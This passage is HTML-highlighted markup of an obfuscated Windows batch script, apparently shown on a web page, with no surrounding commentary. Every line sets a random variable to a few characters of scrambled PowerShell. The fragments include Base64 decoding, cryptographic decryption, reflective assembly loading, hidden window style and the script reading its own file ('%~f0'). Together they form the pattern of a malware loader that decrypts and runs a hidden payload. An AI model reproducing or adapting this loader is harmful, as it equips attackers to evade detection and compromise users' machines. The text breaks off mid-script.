&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eFWpiweoyr=am;$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kEHDlJOIVc=gMod&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;PwJJFMgamh=eHDU&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nfEeCcWKKK=-ep &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dAuevoJWoL=gnir&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BMVjGSkNrk=.Cry&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GwAFOSfUtV=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bSIafzAxiZ=Lk.T&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uynFENuiYB=iron&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BGoTReCegg=qq =&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DXdgqiFTAH=ptog&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QNxYaFZSBu=);$P&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;shhyfkrTvn=m = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fvEtritbuM= = $&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;IwOqmlYsbl=(&amp;#39;da&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EDuGpmwedn=m = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rFsKCxpAbv=.Dis&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HLynrUfwGo=6esa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wwmTmFdRsZ=trea&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;IeRiYUFnCZ=Obje&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kxCYxBSxVM=..-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xULgeMdzcg=&amp;#39;0xd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vXewtPjogB=$bTM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GhTXhmRnCR=, (,&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MBvrUwPCDz=m.IO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KVdpASYkBZ=A.Pa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fxpyemHAMo=Stre&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KtmeCApwQn=tion&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jWtWLzuDKP=bbqM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xllGdjvUjB=em.I&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ahbOZSBViB=Star&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MusMeoeDey=Disp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ySgQyAAfQH=ect &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LPGeAanVGt=3); &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LYxpWUVnyn==&amp;#39;);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TfyrgNGxBL=ress&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZNnASGtLCj=y]::&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KXttaDcyMZ=.Mod&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RfMwENsorP=morF&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CZTFliIBbC=:(&amp;#39;g&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mYyPXMYwYi=oint&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SIQjFslpHA=comm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pibEdoDBbD=mNKM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TVsNOuCNZd= &amp;#39;&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yQujDHraSv= hid&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fVHBRsLNUl=&amp;#39;gni&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iREuYMPcTg=ct S&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uDsfTCYsro=g = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zwDBykiqZZ=den &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;weRTbbZPjT=tyle&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uwRWnyAikF=tS46&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bTHJpHTPMM=)($V&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TuqTvTpeOG=bn.D&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GWrDWSvoPL=W.Su&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KXapePmHCe=form&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eeacPrYshd=iW20&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XEcuUpquLQ=ress&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iCcGUuJxVn=.Dis&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WXWHLOygSe=gap.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XIAbFAgCIP=dows&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QzqEkBCLON=Lk);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pCjFJxRqgH=Conv&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TEtLFfgLmA=TMLk&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GzBAHPVuTq=] -j&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VUsEoebHks=(&amp;#39;2h&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YiVTQhqRnm=New-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kQQvXhxXIT=Mode&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RITIeDNkWx=$mNK&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LNwemqbftD=saBm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DCnzMxKRnm=ose(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ftaecaUnft=;$Nl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KhyyrSrcKr=&amp;#39;[-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QpDqsQAemY=rt]:&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RycUceHQZc=ck($&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QTBYjmNXEB=[Sys&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iKAAuWsbec=).Sp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UAnQUvXBfs=$bTM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zhsTKtujLg=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CpAQgSdzaC=Syst&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qIhOqqdyjR=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LmCknrHfoB=ach &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dlzhxQnMss=TBkD&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YJZmDySMUy=)($u&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gqUdnmSTUN=LGW &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tuAPcYGhzl=n/J7&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jxjvtHoTnR=tfdQ&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jpqWVBsCpx=;$Nl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HUAAetwukX=1..-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rVOFKTskYR=]::(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XzWakcViZI=ptor&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hNwOTmvEJo=gGVE&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MFpVhvZMMs=ptog&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YRqcyngfyU=$Bac&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uIWSZVpUHl=sion&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QGiWXkfFPy=);$B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JPOdGPAwht=/Ntk&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mxXhSCdBil=KMr.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TYbHmXrqgV=)) {&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kpEWZrtOzX=; };&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TypmIIEYJC=grap&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GEFNspgkfU=Obje&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;glRvzlEEoe=join&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JbFOJyRrBm=oL&amp;#39;[&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hwZKiiLqAE=LGW.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MrNTGKcbYu=n &amp;#39;&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XClTzcVMGM=join&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XqtgTmRIdO=em.C&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nMLIkcyFZj=&amp;#39;txe&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BrDOtQoojB=$uZO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LfngwmfRCb=fdQ.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jtkYEPXtKX=TllA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KAlyOryibJ=yste&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GJcpQprPXv=ionM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rofQqYizRu=-joi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UFSmCjquVd=rity&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SRYmoDJgcF=raph&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mFZJVdqlTD=[-1.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hbnAmGyJMk=gth)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hTTJOKGuzo=brea&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JenYfqHzBk=y.Cr&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DwiWdAaOiv=cm);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vPgKEvZmlQ===&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jgiQdwyxFg=rtS4&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qpUykKHwzb=(&amp;#39;%~f0&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GLwLVWewUj=eIfq&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MAPkvbWKbC=.Ass&amp;#34;
